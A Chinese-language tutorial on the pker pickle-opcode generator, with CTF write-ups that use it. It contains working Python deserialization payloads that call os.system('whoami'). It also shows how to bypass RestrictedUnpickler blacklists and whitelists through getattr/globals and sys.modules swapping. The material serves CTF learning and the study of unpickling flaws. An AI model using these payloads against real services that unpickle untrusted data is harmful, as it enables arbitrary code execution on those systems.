pker使用说明

简介

  • pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器,可以在https://github.com/eddieivan01/pker下载源码。
  • 使用pker,我们可以更方便地编写pickle opcode(生成pickle版本0的opcode)。
  • 再次建议,在能够手写opcode的情况下使用pker进行辅助编写,不要过分依赖pker。
  • 此外,pker的实现用到了python的ast(抽象语法树)库,抽象语法树也是一个很重要东西,有兴趣的可以研究一下ast库和pker的源码,由于篇幅限制,这里不再叙述。

pker使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')
输入:module,callable,para

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls')
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321

globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

pker:全局变量覆盖

  • 覆盖直接由执行文件引入的secret模块中的namecategory变量:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
secret=GLOBAL('__main__', 'secret') 
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
return secret

# python pker.py < x
b"c__main__\nsecret\np0\n0g0\n(}(S'name'\nS'1'\ndtbg0\n."

#以下为手写opcode
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
  • 覆盖引入模块的变量:
1
2
game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'

接下来会给出一些具体的基本操作的实例。

pker:函数执行

  • 通过b'R'调用:
1
2
3
4
s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return
  • 通过b'i'调用:
1
INST('os', 'system', 'whoami')
  • 通过b'c'b'o'调用:
1
OBJ(GLOBAL('os', 'system'), 'whoami')
  • 多参数调用函数
1
2
INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])

pker:实例化对象

  • 实例化对象是一种特殊的函数执行
1
2
3
4
5
6
7
8
animal = INST('__main__', 'Animal','1','2')
return animal


# 或者

animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal
  • 其中,python原文件中包含:
1
2
3
4
5
class Animal:

def __init__(self, name, category):
self.name = name
self.category = category
  • 也可以先实例化再赋值:
1
2
3
4
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal

手动辅助

  • 拼接opcode:将第一个pickle流结尾表示结束的.去掉,两者拼接起来即可。
  • 建立普通的类时,可以先pickle.dumps,再拼接至payload。

CTF实战

高校战疫网络安全分享赛: webtmp

先覆盖原先secret的值,再实例化一个

直接手写opdode

1
2
3
4
5
6
7
8
9
10
11
12
opcode='''c__main__
secret
(S'name'
S'1'
S'category'
S'2'
dbp0
0(c__main__
Animal
S'1'
S'2'
o.'''

或者用pker生成

1
2
3
4
5
6
7
8
9
secret=GLOBAL('__main__', 'secret') 
secret.name='1'
secret.category='1'
animal=GLOBAL('__main__', 'Animal')
a=OBJ(animal,'1','1')
return a

# python pker.py < x
b"c__main__\nsecret\np0\n0g0\n(}(S'name'\nS'1'\ndtbg0\n(}(S'category'\nS'1'\ndtbc__main__\nAnimal\np3\n0(g3\nS'1'\nS'1'\nop4\n0g4\n."

SUCTF-2019: guess_game

思路一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
t=GLOBAL('guess_game.Ticket','Ticket')
ticket=OBJ(t,1)
game=GLOBAL('guess_game','game')
game.curr_ticket=ticket
return ticket
#循环10次

b'Congratulations, you get the right number!\n'
b'Congratulations, you get the right number!\n'
b'Congratulations, you get the right number!\n'
b'Congratulations, you get the right number!\n'
b'Congratulations, you get the right number!\n'
b'Congratulations, you get the right number!\n'
b'Congratulations, you get the right number!\n'
b'Congratulations, you get the right number!\n'
b'Congratulations, you get the right number!\n'
b'Congratulations, you get the right number!\n'
b'Game over! You win all the rounds, here is your flag flag{cabe5968-8143-4c45-91b7-557edab2ab4d}\n'
b''

思路二

1
2
3
4
5
6
7
8
9
game = GLOBAL('guess_game', 'game')
game.round_count = 10
game.win_count = 10
ticket = INST('guess_game.Ticket', 'Ticket', 6)
return ticket

b'Wrong number, better luck next time.\n'
b'Game over! You win all the rounds, here is your flag flag{cabe5968-8143-4c45-91b7-557edab2ab4d}\n'
b''

Code-Breaking: picklecode

本题pickle部分源码

1
2
3
4
5
6
7
8
9
10
11
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

源码中限制了只能使用builtins模块,并且给了黑名单,限制了一级子模块。黑名单中没有getattr,所以可以通过getattr获取iobuiltins的子模块以及子模块的子模块:),而builtins里有eval、exec等危险函数,即使在黑名单中,也可以通过getattr获得。pickle不能直接获取builtins一级模块,但可以通过builtins.globals()获得builtins;这样就可以执行任意代码了。

1
2
3
4
5
6
7
8
9
10
getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__')
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("whoami")')
return

BalsnCTF: pyshv1

1
2
3
4
5
6
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)

限制了模块只能为sys,并且不能包含点号,所以只能引用一级模块,但是sys模块中有modules字典对象,且modules中还包含了sys

可以先把sys.modules[‘sys’]替换为sys.modules[‘os’],这样调用就是一级模块

1
2
3
4
5
6
7
8
9
m = GLOBAL('sys','modules')
m['sys']=m
g=GLOBAL('sys','get')
o=g('os')
m['sys']=o
system=GLOBAL('sys','system')
system('whoami')
return

BalsnCTF: pyshv2